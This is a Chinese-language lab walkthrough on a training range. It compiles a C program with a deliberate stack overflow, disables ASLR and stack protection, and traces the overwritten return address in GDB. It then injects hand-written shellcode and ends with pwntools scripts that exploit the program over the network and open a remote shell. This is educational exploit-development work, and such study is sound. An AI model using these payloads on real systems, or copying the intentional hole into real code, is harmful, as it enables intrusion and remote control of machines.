攻防目标
基于网络安全攻防实验环境,在Metasploitable2-Linux编译有漏洞的C语言程序,使用GDB进行动态调试,理解栈溢出本地漏洞的原理。使用pwntools构造远程漏洞,并使用kali进行攻击,理解远程漏洞原理。
靶机和攻击机环境
- 靶机系统 :Linux metasploitable 2.6.24-16-server
- 攻击机: Linux kali 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29) x86_64 GNU/Linux
task1: 在Metasploitable2-Linux编辑编译有漏洞的C语言源程序
1.1 使用终端工具连接Linux,编辑overflow.c源程序
#include <stdio.h>
#include <string.h>
int f() {
char buf[32];
system("echo input");
return read(0,buf,100);
}
int main(int argc, char *argv[]){
f();
system("echo helloworld");
return 0;
}
函数f
中故意制造栈溢出漏洞
1.2 使用GCC编译源程序并执行
a) #echo 0 > /proc/sys/kernel/randomize_va_space 禁止地址随机化功能
b) #ulimit -c unlimited 让系统在错误时产生core文件
c) #gcc -Wall -g -fno-stack-protector -o overflow overflow.c -m32 -Wl,-zexecstack 编译源程序
d) # ./overflow 执行程序分别输入32个a,35个a,36个a,37个a
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
task2: 使用gdb反汇编调试有漏洞的C语言源程序
gdb ./overflow core查看coredump文件,查看寄存器
使用gdb反汇编overflow程序
- gdb ./overflow 打开程序
- (gdb) set disassembly-flavor intel //设置反汇编格式为intel
- (gdb) disassemble main //反汇编main函数
- (gdb) disassemble f //反汇编f()函数
使用gdb跟踪调试程序
- (gdb) start //启动程序
- 查看寄存器和内存
- step执行一行源代码进入f()函数内部
- next执行一行源代码不进入system("echo input")函数
- next执行一行源代码不进入return read(0,buf,100)函数
- 输入aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbcccc
- next执行一行源代码,查看寄存器和内存,
2.1 任务二分析
首先在main函数执行中查看寄存器:
此时main函数对应的栈顶指针和基址指针如下:
寄存器 | 值 |
---|---|
esp | 0xbffff880 |
ebp | 0xbffff888 |
eip | 0x80483e4 |
单步进入f()
函数内部,再次查看寄存器变化
汇编中调用call
指令,会将当前的ebp值入栈,将esp赋值给ebp(原先的栈顶变成栈底),然后将eip入栈
寄存器 | 值 |
---|---|
esp | 0xbffff840 |
ebp | 0xbffff878 |
eip | 0x80483aa |
继续next执行
当读入一个长度大于32位的字符串, buf变量无法读取,此时查看内存区域
使用命令:(gdb)x/32x 0xbffff840
61为a的ascii码,当读完所有的a后,读b和c对应的ascii码分别为62和63
此时存储b和c的内存单元分别为 函数的堆栈帧的基地址 和 当前函数执行完毕的返回地址
图上可以发现这两处内存单元已经被篡改,继续单步执行,查看寄存器
task3:构造shellcode攻击本地漏洞
3.1 编辑汇编语言shell.asm输出字符串HACK
BITS 32
start:
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx
mov bl,1
add esp,string - start
mov ecx,esp
mov dl,5
mov al,4
int 0x80
mov al,1
mov bl,1
dec bl
int 0x80
string:
db "HACK",0xa
3.2 下载编译安装汇编语言工具(配置、编译、安装)
https://launchpadlibrarian.net/18093887/nasm_0.99.06.orig.tar.gz
3.3 #nasm -o shell shell.asm汇编源程序
3.4 #ndisasm shell反汇编获得机器码
3.5、构造shellcode提交给漏洞程序执行
perl -e 'printf "a"x32 . "b"x4 . "c"x4 . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x48\x41\x43\x4b\x0a"' | ./overflow
利用栈溢出 更改程序f函数的返回地址 输出 "Hack" 的效果
6、#gdb ./overflow core 查看之前记录的f()
函数对应的寄存器和内存
此时0x63636363
就是f()
函数的返回地址
只需要把这里的内容改为要跳转的恶意程序地址即可
7、构造shellcode提交给漏洞程序执行
perl -e 'printf "a"x32 . "b"x4 . "\xa0\xf8\xff\xbf" . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x48\x41\x43\x4b\x0a"' | ./overflow
task4:使用pwntools攻击远程漏洞
1、在kali远程攻击Metasploitable2-Linux
a)在Metasploitable2-Linux监听123端口并绑定溢出程序
root@metasploitable:~# nc -l -v -p 123 -e ./overflow
b)在kali使用nc连接Metasploitable2 -Linux的123端口并发送shellcode
(root㉿kali)-[~]
nc 192.168.91.202 123
2、在kali安装使用pwntools攻击Metasploitable2-Linux
a)#wget https://bootstrap.pypa.io/get-pip.py
b)#python3 get-pip.py
c)#pip3 install pwntools
d)在kali编辑exploit攻击脚本exp.py
from pwn import *
p = remote('192.168.91.202','123')
stackaddr = 0xbffff8a0
shellcode=b'\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x48\x41\x43\x4b\x0a'
payload = b'a' * 36 + p32(stackaddr) + shellcode
p.send(payload)
p.interactive()
e)在Metasploitable2-Linux监听123端口并绑定溢出程序
f)#python3 exp.py在kali执行exploit攻击脚本
3、使用pwntools获得shell
a)在kali编辑exploit攻击脚本exp.py
from pwn import *
p = remote('192.168.91.202','123')
stackaddr = 0xbffff8a0
shellcode = asm(shellcraft.linux.sh(),arch='i386')
payload = b'a' * 36 + p32(stackaddr) + shellcode
p.send(payload)
p.interactive()
b)在Metasploitable2-Linux监听123端口并绑定溢出程序
c)#python3 exp.py在kali执行exploit攻击脚本
评论 (0)